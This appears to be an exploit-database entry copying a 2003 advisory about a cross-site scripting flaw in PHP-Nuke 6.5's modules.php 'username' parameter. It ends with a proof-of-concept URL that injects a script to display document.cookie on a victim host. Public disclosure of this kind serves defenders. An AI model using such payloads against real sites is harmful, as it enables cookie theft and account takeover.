PHP-Nuke 6.5 - 'modules.php?Username' Cross-Site Scripting

Author: Ferruh Mavituna
type: webapps
platform: php
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date_added: 2003-05-13 
date_updated: 2012-11-10 
verified: 1 
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source: https://www.securityfocus.com/bid/7570/info

A cross site scripting vulnerability has been reported for PHP-Nuke. Specifically, PHP-Nuke does not sufficiently sanitize user-supplied input for the 'username' URI parameter to the modules.php script.

This may allow for theft of cookie-based authentication credentials and other attacks.

http://[victim]/modules.php?name=Your_Account&op=userinfo&
username=bla<script>alert(document.cookie)</script>